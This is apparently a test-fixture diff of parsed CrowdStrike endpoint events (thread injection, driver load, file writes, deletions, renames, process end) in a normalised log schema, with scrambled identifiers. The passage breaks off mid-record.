+ "ContextProcessId": "7202603200007", + "ContextTimeStamp": "2025-11-12T18:10:58.579Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "InjectedThreadFlag": "85", + "RawThreadId": "53040", + "SourceThreadStartAddress": "970004800500552", + "TargetThreadId": "209175000090105", + "ThreadStartAddress": "90100003090313109007", + "ThreadStartContext": "60307800056300500065", + "UserThread": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "14a56745976c34e322ccc9af234e692acf35", + "name": "107f10bd7e2cf68ce87171d8f974b76" + }, + "device": { + "id": "73204dfc79175de6cc76f2ae7674dc76" + }, + "event": { + "action": "DocumentProgramInjectedThread", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "14a56745976c34e322ccc9af234e692acf35|73204dfc79175de6cc76f2ae7674dc76|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ThreadStartAddress\":\"90100003090313109007\",\"InjectedThreadFlag\":\"85\",\"ContextThreadId\":\"100705003833870\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"UserThread\":\"0\",\"EventOrigin\":\"1\",\"id\":\"14a56745976c34e322ccc9af234e692acf35\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DocumentProgramInjectedThread\",\"TargetThreadId\":\"209175000090105\",\"RawProcessId\":\"90010\",\"ContextTimeStamp\":\"1762971058.579\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"7202603200007\",\"ThreadStartContext\":\"60307800056300500065\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"TargetProcessId\":\"7602000306800\",\"Entitlements\":\"96\",\"name\":\"107f10bd7e2cf68ce87171d8f974b76\",\"RawThreadId\":\"53040\",\"aid\":\"73204dfc79175de6cc76f2ae7674dc76\",\"SourceThreadStartAddress\":\"970004800500552\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "access", + "change" + ] + }, + "host": { + "id": "73204dfc79175de6cc76f2ae7674dc76", + "os": { + "type": "windows" + } + }, + "message": "DocumentProgramInjectedThread", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "73204dfc79175de6cc76f2ae7674dc76", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "7602000306800", + "pid": 90010, + "thread": { + "id": 100705003833870 + } + }, + "related": { + "hash": [ + "2080025170" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticodeHashDataSHA256": "1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f", + "CompanyName": "5951da04edaa9198b1b04", + "ConfigStateHash": "4001039063", + "ContextProcessId": "917013009605", + "ContextTimeStamp": "2025-06-17T00:02:43.660Z", + "DriverLoadFlags": "0", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "45", + "FileVersion": "359b2589a3456ff7703750b83f34717d70893f", + "FixedFileVersion": "4a.5.36b21.78c5", + "ImageCheckSum": "30890", + "ImageEntryPoint": "60900", + "ImageTimeStamp": "7506201701", + "OriginalFilename": "c11d9e9772e", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8f8e5d48a0828ec900552833b592f6bf3137", + "name": "971d60ec4961" + }, + "device": { + "id": "eb87d6ed52531c4d56701eb0f3bdef5d" + }, + "dll": { + "hash": { + "md5": "7d60d20014499abbe980e8a3e9d3e480", + "sha256": "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a" + }, + "name": "2080358.sys", + "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys", + "pe": { + "original_file_name": "c11d9e9772e" + } + }, + "event": { + "action": "load", + "category": [ + "driver" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "8f8e5d48a0828ec900552833b592f6bf3137|eb87d6ed52531c4d56701eb0f3bdef5d|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"AuthenticodeHashDataSHA256\":\"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f\",\"ContextThreadId\":\"85060031003208\",\"aip\":\"81.2.69.142\",\"CompanyName\":\"5951da04edaa9198b1b04\",\"event_platform\":\"Win\",\"OriginalFilename\":\"c11d9e9772e\",\"FileVersion\":\"359b2589a3456ff7703750b83f34717d70893f\",\"ImageCheckSum\":\"30890\",\"EventOrigin\":\"45\",\"id\":\"8f8e5d48a0828ec900552833b592f6bf3137\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1750118563.660\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"917013009605\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"60900\",\"MD5HashData\":\"7d60d20014499abbe980e8a3e9d3e480\",\"SHA256HashData\":\"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FixedFileVersion\":\"4a.5.36b21.78c5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\2080358.sys\",\"ImageTimeStamp\":\"7506201701\",\"Entitlements\":\"96\",\"name\":\"971d60ec4961\",\"aid\":\"eb87d6ed52531c4d56701eb0f3bdef5d\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "eb87d6ed52531c4d56701eb0f3bdef5d", + "os": { + "type": "windows" + } + }, + "message": "DriverLoad", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "eb87d6ed52531c4d56701eb0f3bdef5d", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "917013009605", + "thread": { + "id": 85060031003208 + } + }, + "related": { + "hash": [ + "7d60d20014499abbe980e8a3e9d3e480", + "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a", + "4001039063" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "8650000", + "ConfigStateHash": "2080025170", + "ContextBaseFileName": "4e526e33d5", + "ContextProcessId": "5924007850208", + "ContextTimeStamp": "2025-11-14T17:55:57.475Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileCategory": "4", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-12089-81901-75723-71071-93418-35753-29602", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "1", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "1a93966150b37eeb4506fb5d576569366fbe", + "name": "73a9d655524e1b4a5" + }, + "device": { + "id": "8a519558e0f7e42814948bf046b8e5c8" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "1a93966150b37eeb4506fb5d576569366fbe|8a519558e0f7e42814948bf046b8e5c8|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-12089-81901-75723-71071-93418-35753-29602\",\"ContextBaseFileName\":\"4e526e33d5\",\"FileCategory\":\"4\",\"Size\":\"100488\",\"ContextThreadId\":\"118504067206871\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"1\",\"FileIdentifier\":\"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"1a93966150b37eeb4506fb5d576569366fbe\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DwgFileWritten\",\"ContextTimeStamp\":\"1763142957.475\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"5924007850208\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"8650000\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"73a9d655524e1b4a5\",\"OperationFlags\":\"0\",\"aid\":\"8a519558e0f7e42814948bf046b8e5c8\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\fef\\\\778d6b84\\\\cf0dca8d\\\\e747bc\\\\a4d268\\\\0d\\\\0caedded\\\\04e2a972\\\\0a032162\\\\1ce31250\\\\ab51ae45\\\\70acbb39\\\\bbac47ce.tmp\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39", + "extension": "tmp", + "inode": "78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286", + "name": "bbac47ce.tmp", + "path": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp", + "size": 100488, + "type": "file" + }, + "host": { + "id": "8a519558e0f7e42814948bf046b8e5c8", + "os": { + "type": "windows" + } + }, + "message": "DwgFileWritten", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "8a519558e0f7e42814948bf046b8e5c8", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "5924007850208", + "name": "4e526e33d5", + "thread": { + "id": 118504067206871 + } + }, + "related": { + "hash": [ + "2080025170" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "S-12089-81901-75723-71071-93418-35753-29602" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-12089-81901-75723-71071-93418-35753-29602" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConHostId": "6810", + "ConHostProcessId": "2000300900003", + "ConfigStateHash": "710307050", + "ContextProcessId": "5040620588024", + "ContextTimeStamp": "2025-09-22T01:02:18.869Z", + "CycleTime": 380603073, + "EffectiveTransmissionClass": "3", + "Entitlements": "46", + "EventOrigin": "45", + "ImageSubsystem": "2", + "KernelTime": 0, + "MaxThreadCount": 7, + "SHA256HashData": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423", + "UserTime": 0, + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f3b8bd9b2757d9904f845a44ff61827fa755", + "name": "e8d15f653d9c08b" + }, + "device": { + "id": "3b473364ed16d25221bdb0b435aac52a" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f3b8bd9b2757d9904f845a44ff61827fa755|3b473364ed16d25221bdb0b435aac52a|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ExitCode\":\"0\",\"ParentProcessId\":\"2000300900003\",\"ContextThreadId\":\"632014600074400\",\"aip\":\"216.160.83.56\",\"ConHostId\":\"6810\",\"UserSid\":\"S-78552-69545-47377\",\"CycleTime\":\"380603073\",\"event_platform\":\"Win\",\"ConHostProcessId\":\"2000300900003\",\"MaxThreadCount\":\"7\",\"EventOrigin\":\"45\",\"ImageSubsystem\":\"2\",\"id\":\"f3b8bd9b2757d9904f845a44ff61827fa755\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"KernelTime\":\"0\",\"UserTime\":\"0\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"42084\",\"ContextTimeStamp\":\"1758502938.869\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"5040620588024\",\"SHA256HashData\":\"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"8040620588024\",\"Entitlements\":\"46\",\"name\":\"e8d15f653d9c08b\",\"ProcessStartTime\":\"1745927326.269\",\"aid\":\"3b473364ed16d25221bdb0b435aac52a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "3b473364ed16d25221bdb0b435aac52a", + "os": { + "type": "windows" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "3b473364ed16d25221bdb0b435aac52a", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "8040620588024", + "exit_code": 0, + "hash": { + "sha256": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423" + }, + "parent": { + "entity_id": "2000300900003" + }, + "pid": 42084, + "start": "2025-04-29T11:48:46.269Z", + "thread": { + "id": 632014600074400 + } + }, + "related": { + "hash": [ + "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423", + "710307050" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "S-78552-69545-47377" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-78552-69545-47377" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextProcessId": "9001004100012", + "ContextTimeStamp": "2025-08-05T18:35:25.502Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "FileObject": "0", + "IrpFlags": "1730", + "MajorFunction": "40", + "MinorFunction": "0", + "OperationFlags": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1", + "name": "a1721c8914da805eb47" + }, + "device": { + "id": "39074f37291ca6f2d189c1e110e04dfc" + }, + "event": { + "action": "ExecutableDeleted", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1754418925.502\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"9001004100012\",\"IrpFlags\":\"1730\",\"ContextThreadId\":\"560346007270302\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"MajorFunction\":\"40\",\"Entitlements\":\"96\",\"name\":\"a1721c8914da805eb47\",\"EventOrigin\":\"1\",\"OperationFlags\":\"0\",\"id\":\"b43f550a47cfaab7904ddcd4c778b2d7d2e1\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"39074f37291ca6f2d189c1e110e04dfc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\b169fe25\\\\40a20853\\\\b19eb57e.exe\\\\b62491c6\\\\6ffbd0fe.exe\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6", + "extension": "exe", + "inode": "1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330", + "name": "6ffbd0fe.exe", + "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe", + "type": "file" + }, + "host": { + "id": "39074f37291ca6f2d189c1e110e04dfc", + "os": { + "type": "windows" + } + }, + "message": "ExecutableDeleted", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "39074f37291ca6f2d189c1e110e04dfc", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "9001004100012", + "thread": { + "id": 560346007270302 + } + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ContextProcessId": "920132208508", + "ContextTimeStamp": "2025-09-21T15:01:07.856Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "3", + "TreeId": "400800208204", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f17c8a57d6ffa5f985caf45f729cb254772a", + "name": "e1326813e53e44b4" + }, + "device": { + "id": "e1a82faad25f1bc57da5f8b7457d9014" + }, + "event": { + "action": "FileDeleteInfo", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f17c8a57d6ffa5f985caf45f729cb254772a|e1a82faad25f1bc57da5f8b7457d9014|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FileDeleteInfo\",\"ContextTimeStamp\":\"1758466867.856\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"920132208508\",\"ContextThreadId\":\"549000000070475\",\"aip\":\"81.2.69.192\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"400800208204\",\"Entitlements\":\"56\",\"name\":\"e1326813e53e44b4\",\"EventOrigin\":\"3\",\"id\":\"f17c8a57d6ffa5f985caf45f729cb254772a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e1a82faad25f1bc57da5f8b7457d9014\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\b169fe25\\\\44ca.TMP\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "file": { + "directory": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25", + "extension": "TMP", + "name": "44ca.TMP", + "path": "\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP", + "type": "file" + }, + "host": { + "id": "e1a82faad25f1bc57da5f8b7457d9014", + "os": { + "type": "windows" + } + }, + "message": "FileDeleteInfo", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "e1a82faad25f1bc57da5f8b7457d9014", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "920132208508", + "thread": { + "id": 549000000070475 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "9250777000", + "ContextProcessId": "9011580900835", + "ContextTimeStamp": "2025-11-05T09:37:02.843Z", + "DesiredAccess": "5040660", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "3", + "ShareAccess": "7", + "Status": "0", + "TreeId": "250760900008", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "46a19a602437699cf4aefb060e91441ba891", + "name": "c4a834c02a00fb" + }, + "device": { + "id": "ea08505420aa828a0a52a6eed3c8a196" + }, + "event": { + "action": "FileOpenInfo", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "46a19a602437699cf4aefb060e91441ba891|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"Status\":\"0\",\"event_simpleName\":\"FileOpenInfo\",\"ContextTimeStamp\":\"1762335422.843\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"9011580900835\",\"ContextThreadId\":\"920000001740500\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"DesiredAccess\":\"5040660\",\"TreeId\":\"250760900008\",\"Entitlements\":\"26\",\"name\":\"c4a834c02a00fb\",\"EventOrigin\":\"3\",\"id\":\"46a19a602437699cf4aefb060e91441ba891\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}", + "outcome": "success", + "type": [ + "access" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25", + "extension": "key", + "name": "4e7075fa.key", + "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key", + "type": "file" + }, + "host": { + "id": "ea08505420aa828a0a52a6eed3c8a196", + "os": { + "type": "windows" + } + }, + "message": "FileOpenInfo", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "ea08505420aa828a0a52a6eed3c8a196", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "9011580900835", + "thread": { + "id": 920000001740500 + } + }, + "related": { + "hash": [ + "9250777000" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "40820000", + "ContextProcessId": "50314320728270", + "ContextTimeStamp": "2025-09-18T10:27:03.574Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "3", + "TargetFileName": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP", + "TreeId": "407060334007", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2d662aa35187373d94203d08fc2e4e7115c6", + "name": "f4407c8e4882cbdd" + }, + "device": { + "id": "ca48acb776296fd7a6e35ee8c4bbde6d" + }, + "event": { + "action": "FileRenameInfo", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2d662aa35187373d94203d08fc2e4e7115c6|ca48acb776296fd7a6e35ee8c4bbde6d|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FileRenameInfo\",\"ContextTimeStamp\":\"1758191223.574\",\"ConfigStateHash\":\"40820000\",\"ContextProcessId\":\"50314320728270\",\"SourceFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\49830210.WibuCmActDyn\",\"ContextThreadId\":\"794611930067120\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TreeId\":\"407060334007\",\"Entitlements\":\"36\",\"name\":\"f4407c8e4882cbdd\",\"EventOrigin\":\"3\",\"id\":\"2d662aa35187373d94203d08fc2e4e7115c6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca48acb776296fd7a6e35ee8c4bbde6d\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\539d13bb\\\\303abfe3\\\\64211dc1\\\\4feae\\\\754cfa0e.TMP\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "Ext": { + "original": { + "name": "49830210.WibuCmActDyn", + "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn" + } + }, + "directory": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae", + "extension": "TMP", + "name": "754cfa0e.TMP", + "path": "\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP", + "type": "file" + }, + "host": { + "id": "ca48acb776296fd7a6e35ee8c4bbde6d", + "os": { + "type": "windows" + } + }, + "message": "FileRenameInfo", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "ca48acb776296fd7a6e35ee8c4bbde6d", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "50314320728270", + "thread": { + "id": 794611930067120 + } + }, + "related": { + "hash": [ + "40820000" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextProcessId": "1000790287600", + "ContextTimeStamp": "2025-10-29T06:28:27.584Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileSystemOperationType": "3", + "FsOperationClassification": "67", + "FsOperationClassificationFlags": "1", + "PatternId": "24871", + "TemplateDisposition": "40", + "TemplateInstanceId": "57521", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a", + "name": "b22ddf4c03b1a8b30f84e33786dd87b" + }, + "device": { + "id": "ca2eedaa43a7333759deb5a0191c5313" + }, + "event": { + "action": "FileSystemOperationDetectInfo", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "ad8c2e5d31cff1e8cdc3892a874ba4927d1a|ca2eedaa43a7333759deb5a0191c5313|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"FileSystemOperationDetectInfo\",\"ContextTimeStamp\":\"1761719307.584\",\"ConfigStateHash\":\"710307050\",\"TemplateDisposition\":\"40\",\"ContextProcessId\":\"1000790287600\",\"FileSystemOperationType\":\"3\",\"TemplateInstanceId\":\"57521\",\"aip\":\"216.160.83.56\",\"FsOperationClassification\":\"67\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"6725e7\",\"FsOperationClassificationFlags\":\"1\",\"PatternId\":\"24871\",\"ImageFileName\":\"6725e7\",\"Entitlements\":\"66\",\"name\":\"b22ddf4c03b1a8b30f84e33786dd87b\",\"EventOrigin\":\"1\",\"id\":\"ad8c2e5d31cff1e8cdc3892a874ba4927d1a\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ca2eedaa43a7333759deb5a0191c5313\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\71e36eee\\\\ce423a9b\\\\a5e333\\\\3ec061.sst\"}", + "outcome": "unknown", + "type": [ + "change", + "deletion" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333", + "extension": "sst", + "name": "3ec061.sst", + "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst", + "type": "file" + }, + "host": { + "id": "ca2eedaa43a7333759deb5a0191c5313", + "os": { + "type": "windows" + } + }, + "message": "FileSystemOperationDetectInfo", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "ca2eedaa43a7333759deb5a0191c5313", + "version": "2c8b.4.ae3729d.e6" + }, + "process": 